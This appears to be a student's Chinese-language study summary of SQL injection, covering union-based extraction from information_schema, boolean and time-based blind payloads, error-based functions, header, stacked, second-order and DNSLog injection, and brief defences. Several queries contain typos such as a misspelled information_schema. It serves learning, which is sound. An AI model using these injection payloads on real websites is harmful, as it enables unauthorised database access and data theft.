又到了期末时间段,此文章是自己总结所学,仅供参考。
目录:
一、原理
一般流程
二、分类
按照请求分类
盲注分类
按照头部字段
其他类型
三、防御
代码层面
网络层面
一、原理:
后端web服务器对用户输入的恶意字符过滤不严,导致带入到后端数据库去执行,造成数据泄露。
一般流程:
寻找注入点
?id=1
判断闭合方式
','','),')),"),"))
判断当前数据库字段个数
order by+二分法
判断数据回显位置
获取数据库的基本信息
union,版本,当前用户,当前数据库
获取数据库名
sql
select group_concat(schema_name) from infromation_schema.schemata
获取数据库指定的表名
sql
select group_concat(table_name) from infromation_schema.schemata.tables where table_schema="dbname"
获取数据库指定表的字段名
sql
select group_concat(column_name) from infromation_schema.schemata.columns where table_schema=database() and table_name="tbname"
获取指定数据表的数据
database() 获取当前数据库名
user() 获取用户名
version() 获取数据库版本信息
重要的3个表:
存库名的表:schemata
存表名的表:tables
存列名的表:columns
二、分类
按照请求分类
GET注入
POST注入
盲注分类
布尔盲注
布尔盲注相关函数
left- 返回字符串string最左边的n个字符串 (字符串,截取的长度)
sql
left(string,n)
参数:string为操作字符串,n为开始位置
$ret = left("redhat",3); //red
left(database(),2)='sa' #判断数据库名前2个字符是否位sa;再查看其他位进行判断
right-返回字符串string最右边的n个字符串 (字符串,截取的长度)
sql
right(string,n)
参数:string为操作字符串,n为开始位置
$ret = right("redhat",3); //hat
right(database(),1)>'a' #判断数据库名最后一个字符是否大于a;再查看其他位进行判断
ord- char为字符,用于返回字符的ascii码,有时候服务器会对单引号进行转义,使用ASCII码就不用使用单引号参数: (单个字符);返回ASCII值
sql
ord(char)
参数:char为操作
$ret = char('a'); # 97
ord(mid(database(),1,1))>114 #意为检测database()的第一位ASCII码是否大于114,也即是'r'
ascii- 返回字符char的ascii码 ( 和ord是别名关系 ) (单个字符); 返回ASCII值
sql
ascii(char)
参数:char为操作
$ret = ascii('a'); # 97
ascii(mid(database(),1,1))>114 #意为检测database()的第一位ASCII码是否大于114,也即是'r'
lenght - 获取字符串的长度
sql
length(string)
参数及返回值:string为操作字符串,返回字符串string的长度
举例1:
$ret = length("hello"); // 5
举例2:
length(database())>5 #判断数据库名长度大于5
sql
需要的条件是:
页面数据显示或不显示 (真和假的条件)
注入流程:
1 找注入点
2 判断数据类型
3 判断闭合方式
4 验证漏洞
id=1 and 1 或 id=1 and 0
5 猜数据库的长度
id=1 and length(database())>10
6 猜数据库名称的第一个字符
方式1
id=1 and substr(database(),1,1)>='a' and substr(database(),1,1)<='z'
方式2
id=1 and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1))<=122
7 猜数据表名的长度
id=1 and length((查表的SQL语句))>10
查表的SQL语句
select table_name from information_schema.tables where table_schema=database() limit 0,1
8 猜数据库名称的第一个字符
id=1 and substr((查表的SQL语句),1,1)>='a' and substr((查表的SQL语句),1,1)<='z'
查表的SQL语句
select table_name from information_schema.tables where table_schema=database() limit 0,1
时间盲注
时间盲注相关函数:
sleep();
if(条件, 真执行这里, 假执行这里);
sql
需要的条件是:页面没有任何变化
注入流程:
1 判断闭合方式
id=1' and if(true, sleep(5), 'ok') --+
id=1" and if(true, sleep(5), 'ok') --+
id=1') and if(true, sleep(5), 'ok') --+
id=1") and if(true, sleep(5), 'ok') --+
id=1')) and if(true, sleep(5), 'ok') --+
id=1")) and if(true, sleep(5), 'ok') --+
报错注入
sql
需要的条件是:
需要显示报错
报错注入的方式:
extractvalue(1, 2) 操作2的位置
语法 and extractvalue(1, 2)
updatexml(1, 2, 3) 操作2的位置
语法 and updatexml(1, 2, 3)
floor()
语法 需要联合查询(*注意列数*)
按照头部字段
UA注入
sql
User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,
使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器
渲染引擎、浏览器语言、浏览器插件等
Referer 注入
sql
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,
服务器因此可以获得一些信息用于处理 。
XFF注入
sql
X-Forwarded-For:
简称XFF头,代表了HTTP的请求端真实的IP
是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源IP地址的一个标准
(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XXF头可以实现伪造IP)
Cookie注入
sql
HTTP协议本身是无状态的,什么是无状态呢?即服务器无法判断用户身份
Cookie实际上是一小段的文本信息(key-value格式),用于记录用户状态
Cookie注入,一般是因为后台程序,读取了cookie中的数据,并带入到数据库中执行了
其他类型
联合注入
JSON注入
sql
JSON(JavaScript Object Notation, JS 对象记法) 是一种轻量级的数据交换格式。
它基于 ECMAScript (欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。
易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率 。
编码注入
利用编码工具进行编码
二次注入
sql
后端代码对用户输入的数据进行了转义
保存到数据库时没有转义
再次读取数据库的数据时,没有对数据中的特殊字符转义,可形成闭合,导致二次注入
堆叠注入
sql
堆叠注入概念:在 SQL语句 中, 分号(;) 用来表示一条 sql 语句的结束,
如果在 ; 结束一个 sql语句后,继续构造下一条语句, 分号之后的sql语句也会执行,
这个类型的注入称为堆叠注入 。
宽字节注入
DNSLog注入
sql
DNSlog就是日志,如何利用DNSlog进行注入并回显信息呢。需要了解多级域名的概念。
域名分级与域名解析过程(DNS)
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),
域可被划分为子域,子域可再被划分,即形成了顶级域名.二级域名、三级域名等。
从右向左为顶级域名、二级域名、三级域名等,用点隔开。
如: tieba.baidu.com
它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写
推荐DNSlog平台
DNSLog Platform
http://admin.dnslog.link
CEYE - Monitor service for security testing
推荐DNSlog平台
三、防御
代码层面:
对用户输入的字符进行关键字过滤和转意
命令的预处理和参数化
网络层面:
开启WAF对sQL特征进行过滤处理
日云湍眠务对SGL注入拦截(阿里云盾)
此文章是自己总结所学,仅供参考。